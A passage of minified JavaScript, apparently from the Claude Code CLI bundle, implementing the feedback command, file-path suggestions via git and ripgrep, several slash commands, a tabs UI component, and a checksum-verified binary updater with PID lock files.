Block" rather than the full message)',"- Be direct and clear for developers to understand the problem",'- If you cannot determine a clear issue, use "Bug Report: [brief description]"',"- Any LLM API errors are from the Anthropic API, not from any other model provider","Your response will be directly used as the title of the Github issue, and as such should not contain any other commentary or explaination",'Examples of good titles include: "[Bug] Auto-Compact triggers to soon", "[Bug] Anthropic API Error: Missing Tool Result Block", "[Bug] Error: Invalid Model Name for Opus"'],userPrompt:A,signal:K,options:{hasAppendSystemPrompt:!1,toolChoice:void 0,isNonInteractiveSession:!1,agents:[],querySource:"feedback",mcpTools:[]}}),Y=q.message.content[0]?.type==="text"?q.message.content[0].text:"Bug Report";if(Y.startsWith($$))return S$K(A);return Y}catch(q){return KA(q instanceof Error?q:Error(String(q))),S$K(A)}}function S$K(A){let K=A.split(` `)[0]||"";if(K.length<=60&&K.length>5)return K;let q=K.slice(0,60);if(K.length>60){let Y=q.lastIndexOf(" ");if(Y>30)q=q.slice(0,Y);q+="..."}return q.length<10?"Bug Report":q}function WT1(A){if(A instanceof Error){let K=Error(L9A(A.message));if(A.stack)K.stack=L9A(A.stack);KA(K)}else{let K=L9A(String(A));KA(Error(K))}}async function Lb2(A,K){try{await rZ();let q=BH();if(q.error)return{success:!1};let Y={"Content-Type":"application/json","User-Agent":ln(),...q.headers},z=await A8.post("https://api.anthropic.com/api/claude_cli_feedback",{content:UA(A)},{headers:Y,timeout:30000,signal:K});if(z.status===200){let w=z.data;if(w?.feedback_id)return{success:!0,feedbackId:w.feedback_id};return WT1(Error("Failed to submit feedback: request did not return feedback_id")),{success:!1}}return WT1(Error("Failed to submit feedback:"+z.status)),{success:!1}}catch(q){if(A8.isCancel(q))return{success:!1};if(A8.isAxiosError(q)&&q.response?.status===403){let Y=q.response.data;if(Y?.error?.type==="permission_error"&&Y?.error?.message?.includes("Custom data retention settings"))return WT1(Error("Cannot submit feedback because custom data retention settings are enabled")),{success:!1,isZdrOrg:!0}}return WT1(q),{success:!1}}}var P4,hv,y$K=7250,Nb2="https://github.com/anthropics/claude-code/issues";var sB6=k(()=>{mA();C8();Vz();nH();C1();z3();Jw();uK();JG();x4();l1();sz();cT();nD();Iq();n3();$8();q6();UK();b1();P4=o($A(),1),hv=o($A(),1)});class YN{static instance=null;status={isAuthenticating:!1,output:[]};listeners=new Set;static getInstance(){if(!YN.instance)YN.instance=new YN;return YN.instance}getStatus(){return{...this.status,output:[...this.status.output]}}startAuthentication(){this.status={isAuthenticating:!0,output:[]},this.notifyListeners()}addOutput(A){this.status.output.push(A),this.notifyListeners()}setError(A){this.status.error=A,this.notifyListeners()}endAuthentication(A){if(A)this.status={isAuthenticating:!1,output:[]};else this.status.isAuthenticating=!1;this.notifyListeners()}subscribe(A){return this.listeners.add(A),()=>{this.listeners.delete(A)}}notifyListeners(){this.listeners.forEach((A)=>A(this.getStatus()))}static reset(){if(YN.instance)YN.instance.listeners.clear(),YN.instance=null}}var Rb2,b$K;var x$K=k(()=>{cA();mA();Rb2=o($A(),1),b$K=o($A(),1)});var u$K=k(()=>{C1();q6();I8();mZ();Xw()});var B$K=k(()=>{sz();$8();$8();C1();Z1()});function R9A(A){let K=s(10),{message:q,bold:Y,dimColor:z,subtitle:w}=A,H=Y===void 0?!1:Y,J=z===void 0?!1:z,O;if(K[0]===Symbol.for("react.memo_cache_sentinel"))O=bPA.default.createElement(F7,null),K[0]=O;else O=K[0];let X;if(K[1]!==H||K[2]!==J||K[3]!==q)X=bPA.default.createElement(S,{flexDirection:"row"},O,bPA.default.createElement(V,{bold:H,dimColor:J}," ",q)),K[1]=H,K[2]=J,K[3]=q,K[4]=X;else X=K[4];let $;if(K[5]!==w)$=w&&bPA.default.createElement(V,{dimColor:!0},w),K[5]=w,K[6]=$;else $=K[6];let _;if(K[7]!==X||K[8]!==$)_=bPA.default.createElement(S,{flexDirection:"column"},X,$),K[7]=X,K[8]=$,K[9]=_;else _=K[9];return _}var bPA;var ppA=k(()=>{cA();mA();i2();bPA=o($A(),1)});var m$K,dpA;var g$K=k(()=>{cA();mA();C8();rL6();nH();C1();$8();k9A();C9A();z3();Jw();uK();l1();Iq();sB6();j$();AP();CK();$8();x3A();q6();UK();of();f_();Z1();ESA();gZ();b1();x$K();x4();kx();u$K();B$K();ppA();K7();m$K=o($A(),1),dpA=o($A(),1)});var Sb2;var F$K=k(()=>{g$K();Sb2=o($A(),1)});function hb2(A,K,q,Y=""){return eB6.createElement(h$K,{abortSignal:K,messages:q,initialDescription:Y,onDone:A})}var eB6,bb2,Q$K;var U$K=k(()=>{sB6();l6();CS();eB6=o($A(),1);bb2={aliases:["bug"],type:"local-jsx",name:"feedback",description:"Submit feedback about Claude Code",argumentHint:"[report]",isEnabled:()=>!(P1(process.env.CLAUDE_CODE_USE_BEDROCK)||P1(process.env.CLAUDE_CODE_USE_VERTEX)||P1(process.env.CLAUDE_CODE_USE_FOUNDRY)||process.env.DISABLE_FEEDBACK_COMMAND||process.env.DISABLE_BUG_COMMAND||process.env.CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC||!1||!HP("allow_product_feedback")),isHidden:!1,async call(A,{abortController:K,messages:q},Y){let z=Y||"";return hb2(A,K.signal,q,z)},userFacingName(){return"feedback"}},Q$K=bb2});var Am6={};_q(Am6,{default:()=>ub2,FileIndex:()=>xb2});var DT1,xb2,ub2;var Km6=k(()=>{try{DT1=(()=>{throw new Error("Cannot require module "+"../../file-index.node");})()}catch(A){DT1=null}xb2=DT1?.FileIndex,ub2=DT1?.FileIndex});import*as PX from"path";async function Bb2(){if(jT1)return null;if(cpA)return cpA;if(n9())try{return cpA=new(await Promise.resolve().then(() => (Km6(),Am6))).FileIndex,cpA}catch(A){return jT1=!0,h(`[FileIndex] Rust module unavailable, falling back to Fuse.js: ${A instanceof Error?A.message:String(A)}`),KA(A),null}else return jT1=!0,h("[FileIndex] Not in bundled mode, using Fuse.js fallback"),null}function l$K(){cpA=null,jT1=!1,BPA=null,mPA=[],y9A=null,Jm6=0,lpA=null,Ym6=null,MT1=null,xPA=[],zm6=null,wm6=null}async function gb2(){let A=x1();if(Ym6===A&&lpA!==null)return lpA;return lpA=(await A7("git",["rev-parse","--git-dir"],{timeout:2000,cwd:A})).code===0,Ym6=A,lpA}function p$K(A,K,q){if(q===K)return A;return A.map((Y)=>{let z=PX.join(K,Y);return PX.relative(q,z)})}function Fb2(A){if(A.length===0)return;let K=Hm6(A);if(BPA&&xPA.length>0){let q=Hm6(xPA),Y=[...xPA,...q,...A,...K];try{BPA.loadFromFileList(Y),h(`[FileIndex] rebuilt Rust index with ${xPA.length} tracked + ${A.length} untracked files`)}catch(z){h(`[FileIndex] failed to rebuild Rust index: ${z}`)}}else{let q=[...A,...K],Y=new Set(mPA);for(let z of q)if(!Y.has(z))mPA.push(z);h(`[FileIndex] merged ${A.length} untracked files into JS cache`)}}function d$K(A,K){let q=`${A}:${K}`;if(wm6===q)return zm6;let Y=BA(),z=[".ignore",".rgignore"],w=[...new Set([A,K])],H=c$K.default(),J=!1;for(let X of w)for(let $ of z){let _=PX.join(X,$);if(Y.existsSync(_))try{let G=Y.readFileSync(_,{encoding:"utf8"});H.add(G),J=!0,h(`[FileIndex] loaded ignore patterns from ${_}`)}catch{}}let O=J?H:null;return zm6=O,wm6=q,O}async function Qb2(A,K){let q=Date.now();if(h("[FileIndex] getFilesUsingGit called"),!await gb2())return h("[FileIndex] not a git repo, returning null"),null;try{let Y=Rl(x1());if(!Y)return h("[FileIndex] git rev-parse --show-toplevel failed, falling back to ripgrep"),null;let z=x1(),w=Date.now(),H=await A7("git",["ls-files","--recurse-submodules"],{timeout:5000,abortSignal:A,cwd:z});if(h(`[FileIndex] git ls-files (tracked) took ${Date.now()-w}ms`),H.code!==0)return h(`[FileIndex] git ls-files failed (code=${H.code}, stderr=${H.stderr}), falling back to ripgrep`),null;let J=H.stdout.trim().split(` `).filter(Boolean),O=V8(),X=p$K(J,Y,O),$=d$K(Y,z);if($){let G=X.length;X=$.filter(X),h(`[FileIndex] applied ignore patterns: ${G} -> ${X.length} files`)}xPA=X;let _=Date.now()-q;if(h(`[FileIndex] git ls-files: ${X.length} tracked files in ${_}ms`),n("tengu_file_suggestions_git_ls_files",{file_count:X.length,tracked_count:X.length,untracked_count:0,duration_ms:_}),!MT1)MT1=A7("git",K?["ls-files","--others","--exclude-standard"]:["ls-files","--others"],{timeout:1e4,cwd:z}).then((Z)=>{if(Z.code===0){let W=Z.stdout.trim().split(` `).filter(Boolean),D=V8(),j=p$K(W,Y,D),M=d$K(Y,z);if(M&&j.length>0){let P=j.length;j=M.filter(j),h(`[FileIndex] applied ignore patterns to untracked: ${P} -> ${j.length} files`)}h(`[FileIndex] background untracked fetch: ${j.length} files`),Fb2(j)}}).catch((Z)=>{h(`[FileIndex] background untracked fetch failed: ${Z}`)}).finally(()=>{MT1=null});return X}catch(Y){return h(`[FileIndex] git ls-files error: ${Y instanceof Error?Y.message:String(Y)}`),null}}function Hm6(A){let K=new Set;return A.forEach((q)=>{let Y=PX.parse(q).root,z=PX.dirname(q);while(z!=="."&&z!==Y&&!K.has(z))K.add(z),z=PX.dirname(z)}),[...K].map((q)=>q+PX.sep)}async function Ub2(A){return(await Promise.all(Jh4.map((q)=>oQ(q,A)))).flatMap((q)=>q.map((Y)=>Y.filePath))}async function pb2(A,K){h(`[FileIndex] getProjectFiles called, respectGitignore=${K}`);let q=await Qb2(A,K);if(q!==null)return h(`[FileIndex] using git ls-files result (${q.length} files)`),q;h("[FileIndex] git ls-files returned null, falling back to ripgrep");let Y=Date.now(),z=["--files","--follow","--hidden","--glob","!.git/"];if(!K)z.push("--no-ignore-vcs");let H=(await zb(z,".",A)).map((O)=>PX.relative(V8(),O)),J=Date.now()-Y;return h(`[FileIndex] ripgrep: ${H.length} files in ${J}ms`),n("tengu_file_suggestions_ripgrep",{file_count:H.length,duration_ms:J}),H}async function db2(){let A=e7(),K=setTimeout(()=>{A.abort()},1e4);try{let q=yq(),Y=M1(),z=q.respectGitignore??Y.respectGitignore??!0,w=x1(),[H,J]=await Promise.all([pb2(A.signal,z),Ub2(w)]),O=[...H,...J],$=[...Hm6(O),...O],_=[],G=await Bb2();if(G)try{G.loadFromFileList($)}catch(Z){h(`[FileIndex] Failed to load Rust index, using Fuse.js fallback: ${Z instanceof Error?Z.message:String(Z)}`),KA(Z),_=$}else _=$;return{fileIndex:G,fileList:_}}catch(q){return KA(q instanceof Error?q:Error(String(q))),{fileIndex:null,fileList:[]}}finally{clearTimeout(K)}}function cb2(A,K){let q=Math.min(A.length,K.length),Y=0;while(Y<q&&A[Y]===K[Y])Y++;return A.substring(0,Y)}function i$K(A){if(A.length===0)return"";let K=A.map((Y)=>Y.displayText),q=K[0];for(let Y=1;Y<K.length;Y++){let z=K[Y];if(q=cb2(q,z),q==="")return""}return q}function ipA(A,K){return{id:`file-${A}`,displayText:A,metadata:K!==void 0?{score:K}:void 0}}async function lb2(A,K,q){if(A)try{return A.search(q,uPA).map((X)=>ipA(X.path,X.score))}catch(O){h(`[FileIndex] Rust search failed, falling back to Fuse.js: ${O instanceof Error?O.message:String(O)}`),KA(O)}h("[FileIndex] Using Fuse.js fallback for search");let Y=[...new Set(K)];if(!q){let O=new Set;for(let X of Y){let $=X.split(PX.sep)[0];if($){if(O.add($),O.size>=uPA)break}}return[...O].sort().map(ipA)}let z=Y.map((O)=>{return{path:O,filename:PX.basename(O),testPenalty:O.includes("test")?1:0}}),w=q.lastIndexOf(PX.sep);if(w>2)z=z.filter((O)=>{return O.path.substring(0,w).startsWith(q.substring(0,w))});let J=new CL(z,{includeScore:!0,threshold:0.5,keys:[{name:"path",weight:1},{name:"filename",weight:2}]}).search(q,{limit:uPA});return J=J.sort((O,X)=>{if(O.score===void 0||X.score===void 0)return 0;if(Math.abs(O.score-X.score)>0.05)return O.score-X.score;return O.item.testPenalty-X.item.testPenalty}),J.map((O)=>O.item.path).slice(0,uPA).map(ipA)}function qm6(){if(!y9A)y9A=db2().then((A)=>{return BPA=A.fileIndex,mPA=A.fileList,Jm6=Date.now(),y9A=null,A}).catch((A)=>{return h(`[FileIndex] Cache refresh failed: ${A instanceof Error?A.message:String(A)}`),KA(A),y9A=null,{fileIndex:null,fileList:[]}})}async function ib2(){let A=BA(),K=x1();try{return A.readdirSync(K).map((Y)=>{let z=PX.join(K,Y.name),w=PX.relative(K,z);return Y.isDirectory()?w+PX.sep:w})}catch(q){return KA(q),[]}}async function n$K(A,K=!1){if(!A&&!K)return[];if(yq().fileSuggestion?.type==="command"){let q={...tG(),query:A};return(await rx6(q)).slice(0,uPA).map(ipA)}if(A===""||A==="."||A==="./"){let q=await ib2();return qm6(),q.slice(0,uPA).map(ipA)}try{let Y=Date.now()-Jm6>mb2;if(!BPA&&mPA.length===0){if(qm6(),y9A)await y9A}else if(Y)qm6();let z=A,w="."+PX.sep;if(A.startsWith(w))z=A.substring(2);if(z.startsWith("~"))z=x7(z);return await lb2(BPA,mPA,z)}catch(q){return KA(q),[]}}function PT1(A,K,q,Y,z,w){let H=typeof A==="string"?A:A.displayText,J=K.substring(0,Y)+H+K.substring(Y+q.length);z(J);let O=Y+H.length;w(O)}var c$K,cpA=null,jT1=!1,BPA=null,mPA,y9A=null,Jm6=0,mb2=60000,lpA=null,Ym6=null,MT1=null,xPA,zm6=null,wm6=null,uPA=15;var VT1=k(()=>{ZT1();q6();C1();e6();y4();aQ();Oz();i6();wb();Jz();Z1();Jw();JP();I8();CK();l1();c$K=o(CSA(),1);mPA=[],xPA=[]});import{randomUUID as nb2}from"crypto";function fT1(){AX.cache.clear?.(),e0.cache.clear?.(),_26.cache.clear?.(),t0.cache.clear?.(),l$K(),fm(),He(),a57(),gr6()}async function NT1({setMessages:A,readFileState:K,getAppState:q,setAppState:Y,setConversationId:z}){if(await ix6("clear",{getAppState:q,setAppState:Y}),A(()=>[]),z)z(nb2());if(fT1(),Cv(V8()),K.clear(),Y)Y((H)=>({...H,fileHistory:{snapshots:[],trackedFiles:new Set},mcp:{clients:[],tools:[],commands:[],resources:{}}}));y37(),dn6({setCurrentAsParent:!0}),await EL();let w=await fj("clear");if(w.length>0)A(()=>w)}var rb2,r$K;var TT1=k(()=>{X0();YC();gZ();q6();ld();UK();Ye();JP();g2();VT1();NG();sD();uxA();rb2={type:"local",name:"clear",description:"Clear conversation history and free up context",aliases:["reset","new"],isEnabled:()=>!0,isHidden:!1,supportsNonInteractive:!1,async call(A,K){return l7("clear"),await NT1(K),{type:"text",value:""}},userFacingName(){return"clear"}},r$K=rb2});var ob2,o$K;var a$K=k(()=>{UK();q6();aZ();t9();W2();ob2={type:"local",name:"color",description:"Set the prompt bar color for this session",isEnabled:()=>b8(),isHidden:!1,supportsNonInteractive:!1,argumentHint:"<color>",async call(A,K){if(m2())return{type:"text",value:"Cannot set color: This session is a swarm teammate. Teammate colors are assigned by the team leader."};if(!A||A.trim()==="")return{type:"text",value:`Please provide a color. Available colors: ${Y0.join(", ")}`};let q=A.trim().toLowerCase();if(!Y0.includes(q)){let w=Y0.join(", ");return{type:"text",value:`Invalid color "${q}". Available colors: ${w}`}}let Y=d1(),z=Y$();return await HXK(Y,q,z),K.setAppState((w)=>({...w,standaloneAgentContext:{...w.standaloneAgentContext,name:w.standaloneAgentContext?.name??"",color:q}})),{type:"text",value:`Session color set to: ${q}`}},userFacingName(){return"color"}},o$K=ob2});var s$K=k(()=>{qDA();cY1()});function ab2(A){return A.filter((K)=>K.type==="text"&&K.text).map((K)=>K.text).join(` `)}var sb2,t$K;var e$K=k(()=>{np();$8();g2();sb2={type:"local",name:"copy",description:"Copy Claude's last response to clipboard as markdown",isEnabled:()=>!0,isHidden:!1,supportsNonInteractive:!1,async call(A,K){l7("copy");let q=rf(K.messages);if(!q)return{type:"text",value:"No assistant message to copy"};let Y=q.message.content;if(!Array.isArray(Y)||Y.length===0)return{type:"text",value:"No content to copy"};let z=ab2(Y);if(!z)return{type:"text",value:"No text content to copy"};if(await Oj(z)){let H=z.split(` `).length;return{type:"text",value:`Copied to clipboard (${z.length} characters, ${H} lines)`}}return{type:"text",value:NDA()}},userFacingName(){return"copy"}},t$K=sb2});var A_K=k(()=>{qDA();cY1();Jw()});async function eb2(A,K){let q=await A.getAppState(),Y=await sf(A.options.tools,A.options.mainLoopModel,Array.from(q.toolPermissionContext.additionalWorkingDirectories.keys()),A.options.mcpClients),z=kGA({mainThreadAgentDefinition:void 0,toolUseContext:A,customSystemPrompt:A.options.customSystemPrompt,defaultSystemPrompt:Y,appendSystemPrompt:A.options.appendSystemPrompt}),[w,H]=await Promise.all([AX(),e0()]);return{systemPrompt:z,userContext:w,systemContext:H,toolUseContext:A,forkContextMessages:K}}var tb2,K_K;var q_K=k(()=>{YC();gZ();St();of();AO1();G9A();fN1();PN1();GpA();C1();u5();OW1();l6();g2();Vz();tb2={type:"local",name:"compact",description:"Clear conversation history but keep a summary in context. Optional: /compact [instructions for summarization]",isEnabled:()=>!P1(process.env.DISABLE_COMPACT),isHidden:!1,supportsNonInteractive:!0,argumentHint:"<optional custom summarization instructions>",async call(A,K){l7("compact");let{abortController:q,messages:Y}=K;if(Y.length===0)throw Error("No messages to compact");let z=A.trim();try{if(!z){let _=await MN1(Y,K.agentId);if(_){AX.cache.clear?.(),t0.cache.clear?.(),WPA();let G=L5A("tip"),Z=A$("app:toggleTranscript","Global","ctrl+o"),W=[...K.options.verbose?[]:[`(${Z} to see full summary)`],...G?[G]:[]];return{type:"compact",compactionResult:_,displayText:O1.dim("Compacted "+W.join(` `))}}}let H=(await gd(Y,void 0,K)).messages,J=await EMA(H,K,await eb2(K,H),!1,z,!1);j9A(void 0),WPA(),AX.cache.clear?.(),t0.cache.clear?.();let O=L5A("tip"),X=A$("app:toggleTranscript","Global","ctrl+o"),$=[...K.options.verbose?[]:[`(${X} to see full summary)`],...J.userDisplayMessage?[J.userDisplayMessage]:[],...O?[O]:[]];return{type:"compact",compactionResult:J,displayText:O1.dim("Compacted "+$.join(` `))}}catch(w){if(q.signal.aborted)throw Error("Compaction canceled.");else if(w instanceof Error&&w.message===XpA)throw Error(XpA);else throw KA(w instanceof Error?w:Error(String(w))),Error(`Error during compaction: ${w}`)}},userFacingName(){return"compact"}},K_K=tb2});function LL(A){let K=s(11),{title:q,color:Y,defaultTab:z,children:w,hidden:H,useFullWidth:J,selectedTab:O,onTabChange:X,banner:$,disableNavigation:_}=A,{columns:G}=f8(),Z=w.map(Kx2),W=z?Z.findIndex((YA)=>z===YA[0]):0,D=O!==void 0,[j,M]=I9A.useState(W!==-1?W:0),P=D?Z.findIndex((YA)=>YA[0]===O):-1,f=D?P!==-1?P:0:j,N=(YA)=>{let e=(f+Z.length+YA)%Z.length,qA=Z[e]?.[0];if(D&&X&&qA)X(qA);else M(e)},T=!H&&!_,C;if(K[0]!==T)C={context:"Tabs",isActive:T},K[0]=T,K[1]=C;else C=K[1];s4({"tabs:next":()=>N(1),"tabs:previous":()=>N(-1)},C);let R=q?q.length+1:0,x=Z.reduce(Ax2,0),y=R+x+21,B=J?Math.max(0,G-y-2):0,b=J?G-2:void 0,F=S,Q="column",u=!H&&bv.default.createElement(bv.default.Fragment,null,bv.default.createElement(V,{color:Y},"─".repeat(G-2)),bv.default.createElement(S,{flexDirection:"row",gap:1,paddingLeft:1},q!==void 0&&bv.default.createElement(V,{bold:!0,color:Y},q),Z.map((YA,e)=>{let[qA,HA]=YA;return bv.default.createElement(V,{key:qA,backgroundColor:Y&&f===e?Y:void 0,color:Y&&f===e?"inverseText":void 0,bold:f===e}," ",HA," ")}),bv.default.createElement(V,{dimColor:!0},"(←/→ or tab to cycle)"),B>0&&bv.default.createElement(V,null," ".repeat(B)))),d=H?0:1,r;if(K[2]!==w||K[3]!==b||K[4]!==d)r=bv.default.createElement(S,{width:b,paddingLeft:1,marginTop:d},w),K[2]=w,K[3]=b,K[4]=d,K[5]=r;else r=K[5];let c;if(K[6]!==F||K[7]!==$||K[8]!==u||K[9]!==r)c=bv.default.createElement(F,{flexDirection:Q},u,$,r),K[6]=F,K[7]=$,K[8]=u,K[9]=r,K[10]=c;else c=K[10];return bv.default.createElement(Om6.Provider,{value:{selectedTab:Z[f][0],width:b}},c)}function Ax2(A,K){let[,q]=K;return A+(q?.length??0)+2+1}function Kx2(A){return[A.props.id??A.props.title,A.props.title]}function WH(A){let K=s(3),{title:q,id:Y,children:z}=A,{selectedTab:w,width:H}=I9A.useContext(Om6);if(w!==(Y??q))return null;let J;if(K[0]!==z||K[1]!==H)J=bv.default.createElement(S,{width:H},z),K[0]=z,K[1]=H,K[2]=J;else J=K[2];return J}function Y_K(){let{width:A}=I9A.useContext(Om6);return A}var bv,I9A,Om6;var S9A=k(()=>{cA();mA();C8();uK();bv=o($A(),1),I9A=o($A(),1),Om6=I9A.createContext({selectedTab:void 0,width:void 0})});function z_K(A){let K=s(3),q,Y;if(K[0]!==A){Y=Symbol.for("react.early_return_sentinel");A:{let{context:z,flat:w}=A===void 0?{}:A,H=t0(),J=[];if(z?.readFileState)py(z.readFileState).forEach(($)=>{let _=z.readFileState.get($);if(_&&$.endsWith("/CLAUDE.md")&&!H.some((G)=>G.path===$))J.push({path:$,content:_.content,type:"Project",isNested:!0})});let O=[...H,...J];if(O.length===0){Y=null;break A}if(w){Y=VX.createElement(S,{flexDirection:"row",columnGap:1,flexWrap:"wrap"},O.map(($,_)=>{let G=Z5($.path),Z=$.isNested?"nested":wu6($.type),W=_<O.length-1?",":"";return VX.createElement(S,{key:_,flexDirection:"row",flexShrink:0},VX.createElement(V,null,Z," "),VX.createElement(V,{dimColor:!0},"(",G,")"),VX.createElement(V,null,W))}));break A}let X=new Map;q=VX.createElement(S,{flexDirection:"column"},O.map(($,_)=>{let G=Z5($.path),Z=$.isNested?"nested: ":`${wu6($.type)}: `,W=$.parent?(X.get($.parent)??0)+1:0;if(X.set($.path,W),W===0)return VX.createElement(V,{key:_},VX.createElement(V,{dimColor:!0}," L "),`${Z}${G}`);else{let D=" ".repeat(W-1);return VX.createElement(V,{key:_}," ".repeat(Z.length+2),D,VX.createElement(V,{dimColor:!0}," L "),G)}}))}K[0]=A,K[1]=q,K[2]=Y}else q=K[1],Y=K[2];if(Y!==Symbol.for("react.early_return_sentinel"))return Y;return q}var VX;var w_K=k(()=>{cA();mA();gZ();YK();Hu6();hD();VX=o($A(),1)});import{homedir as qx2}from"os";import{join as vT1}from"path";function ET1(A){return{env:A?.env??process.env,home:A?.homedir??qx2()}}function kT1(A){let{env:K,home:q}=ET1(A);return K.XDG_STATE_HOME??vT1(q,".local","state")}function H_K(A){let{env:K,home:q}=ET1(A);return K.XDG_CACHE_HOME??vT1(q,".cache")}function J_K(A){let{env:K,home:q}=ET1(A);return K.XDG_DATA_HOME??vT1(q,".local","share")}function O_K(A){let{home:K}=ET1(A);return vT1(K,".local","bin")}var Xm6=()=>{};import{join as Yx2}from"node:path";import{createHash as zx2}from"node:crypto";import{chmodSync as wx2}from"fs";async function Hx2(A="latest",K,q){let Y=Date.now();try{let z=await A8.get(`${K}/${A}`,{timeout:30000,responseType:"text",...q}),w=Date.now()-Y;return n("tengu_version_check_success",{latency_ms:w}),z.data.trim()}catch(z){let w=Date.now()-Y,H=z instanceof Error?z.message:String(z),J;if(A8.isAxiosError(z)&&z.response)J=z.response.status;n("tengu_version_check_failure",{latency_ms:w,http_status:J,is_timeout:H.includes("timeout")});let O=Error(`Failed to fetch version from ${K}/${A}: ${H}`);throw KA(O),X_K.captureException(O),O}}async function _m6(A){if(/^v?\d+\.\d+\.\d+(-\S+)?$/.test(A))return A.startsWith("v")?A.slice(1):A;let K=A;if(K!=="stable"&&K!=="latest")throw Error(`Invalid channel: ${A}. Use 'stable' or 'latest'`);return Hx2(K,$_K)}async function Ox2(A,K,q,Y={}){let z;for(let w=1;w<=$m6;w++){let H=new AbortController,J,O=()=>{if(J)clearTimeout(J),J=void 0},X=()=>{O(),J=setTimeout(()=>{H.abort()},Jx2)};try{X();let $=await A8.get(A,{timeout:300000,responseType:"arraybuffer",signal:H.signal,onDownloadProgress:()=>{X()},...Y});O();let _=zx2("sha256");_.update($.data);let G=_.digest("hex");if(G!==K)throw Error(`Checksum mismatch: expected ${K}, got ${G}`);(await import("fs")).writeFileSync(q,Buffer.from($.data)),wx2(q,493);return}catch($){O();let _=A8.isCancel($);if(_)z=new __K;else z=$ instanceof Error?$:Error(String($));if(_&&w<$m6){h(`Download stalled on attempt ${w}/${$m6}, retrying...`),await new Promise((G)=>setTimeout(G,1000));continue}throw z}}throw z??Error("Download failed after all retries")}async function Xx2(A,K,q,Y){let z=BA();if(z.existsSync(K))z.rmSync(K,{recursive:!0,force:!0});let w=td(),H=Date.now();n("tengu_binary_download_attempt",{});let J;try{J=(await A8.get(`${q}/${A}/manifest.json`,{timeout:1e4,responseType:"json",...Y})).data}catch(Z){let W=Date.now()-H,D=Z instanceof Error?Z.message:String(Z),j;if(A8.isAxiosError(Z)&&Z.response)j=Z.response.status;throw n("tengu_binary_manifest_fetch_failure",{latency_ms:W,http_status:j,is_timeout:D.includes("timeout")}),KA(Error(`Failed to fetch manifest from ${q}/${A}/manifest.json: ${D}`)),Z}let O=J.platforms[w];if(!O)throw n("tengu_binary_platform_not_found",{}),Error(`Platform ${w} not found in manifest for version ${A}`);let X=O.checksum,$=CT1(w),_=`${q}/${A}/${w}/${$}`;z.mkdirSync(K);let G=Yx2(K,$);try{await Ox2(_,X,G,Y||{});let Z=Date.now()-H;n("tengu_binary_download_success",{latency_ms:Z})}catch(Z){let W=Date.now()-H,D=Z instanceof Error?Z.message:String(Z),j;if(A8.isAxiosError(Z)&&Z.response)j=Z.response.status;throw n("tengu_binary_download_failure",{latency_ms:W,http_status:j,is_timeout:D.includes("timeout"),is_checksum_mismatch:D.includes("Checksum mismatch")}),KA(Error(`Failed to download binary from ${_}: ${D}`)),Z}}async function G_K(A,K){return await Xx2(A,K,$_K),"binary"}var X_K,$_K="https://storage.googleapis.com/claude-code-dist-86c565f3-f756-42ad-8dfa-d59b1c096819/claude-code-releases",Jx2=60000,$m6=3,__K;var Z_K=k(()=>{n3();e6();CK();Z1();l1();Gm6();C1();b1();b1();X_K=o(_F(),1);__K=class __K extends Error{constructor(){super("Download stalled: no data received for 60 seconds");this.name="StallTimeoutError"}}});import{join as W_K,basename as $x2}from"path";function h9A(){if(P1(void 0))return!0;if(J2(void 0))return!1;return G4("tengu_pid_based_version_locking",!1)}function LT1(A){if(A<=1)return!1;try{return process.kill(A,0),!0}catch{return!1}}function Gx2(A,K){if(!LT1(A))return!1;if(A===process.pid)return!0;try{let q=jy4(A);if(!q)return!0;let Y=q.toLowerCase(),z=K.toLowerCase();return Y.includes("claude")||Y.includes(z)}catch{return!0}}function npA(A){let K=BA();try{if(!K.existsSync(A))return null;let q=K.readFileSync(A,{encoding:"utf8"});if(!q||q.trim()==="")return null;let Y=G6(q);if(typeof Y.pid!=="number"||!Y.version||!Y.execPath)return null;return Y}catch{return null}}function RT1(A){let K=npA(A);if(!K)return!1;let{pid:q,execPath:Y}=K;if(!LT1(q))return!1;if(!Gx2(q,Y))return h(`Lock PID ${q} is running but does not appear to be Claude - treating as stale`),!1;let z=BA();try{let w=z.statSync(A);if(Date.now()-w.mtimeMs>_x2){if(!LT1(q))return!1}}catch{}return!0}function Zx2(A,K){let q=BA(),Y=`${A}.tmp.${process.pid}.${Date.now()}`;try{x8(Y,UA(K,null,2),{encoding:"utf8",flush:!0}),q.renameSync(Y,A)}catch(z){try{if(q.existsSync(Y))q.unlinkSync(Y)}catch{}throw z}}async function D_K(A,K){let q=BA(),Y=$x2(A);if(RT1(K)){let w=npA(K);return h(`Cannot acquire lock for ${Y} - held by PID ${w?.pid}`),null}let z={pid:process.pid,version:Y,execPath:process.execPath,acquiredAt:Date.now()};try{if(Zx2(K,z),npA(K)?.pid!==process.pid)return null;return h(`Acquired PID lock for ${Y} (PID ${process.pid})`),()=>{try{if(npA(K)?.pid===process.pid)q.unlinkSync(K),h(`Released PID lock for ${Y}`)}catch(H){h(`Failed to release lock for ${Y}: ${H}`)}}}catch(w){return h(`Failed to acquire lock for ${Y}: ${w}`),null}}async function j_K(A,K){let q=await D_K(A,K);if(!q)return!1;let Y=()=>{try{q()}catch{}};return process.on("exit",Y),process.on("SIGINT",Y),process.on("SIGTERM",Y),!0}async function M_K(A,K,q){let Y=await D_K(A,K);if(!Y)return!1;try{return await q(),!0}finally{Y()}}function Zm6(A){let K=BA(),q=[];if(!K.existsSync(A))return q;try{let Y=K.readdirStringSync(A).filter((z)=>z.endsWith(".lock"));for(let z of Y){let w=W_K(A,z),H=npA(w);if(H)q.push({version:H.version,pid:H.pid,isProcessRunning:LT1(H.pid),execPath:H.execPath,acquiredAt:new Date(H.acquiredAt),lockFilePath:w})}}catch(Y){KA(Y instanceof Error?Y:Error(`Failed to get lock info: ${Y}`))}return q}function yT1(A){let K=BA(),q=0;if(!K.existsSync(A))return 0;try{let Y=K.readdirStringSync(A).filter((z)=>z.endsWith(".lock"));for(let z of Y){let w=W_K(A,z);try{if(K.lstatSync(w).isDirectory())K.rmSync(w,{recursive:!0,force:!0}),q++,h(`Cleaned up legacy directory lock: ${z}`);else if(!RT1(w))K.unlinkSync(w),q++,h(`Cleaned up stale lock: ${z}`)}catch{}}}catch(Y){KA(Y instanceof Error?Y:Error(`Failed to cleanup stale locks: ${Y}`))}return q}var _x2=7200000;var Wm6=k(()=>{e6();Z1();C1();Z91();B7();l6();b1();b1()});import{join as fX,dirname as ed,resolve as Em,delimiter as Wx2,basename as Dx2}from"node:path";import{homedir as V_K}from"node:os";import{constants as jx2,existsSync as xv}from"fs";import{access as Mx2,copyFile as jm6,chmod as Px2,rename as IT1,unlink as 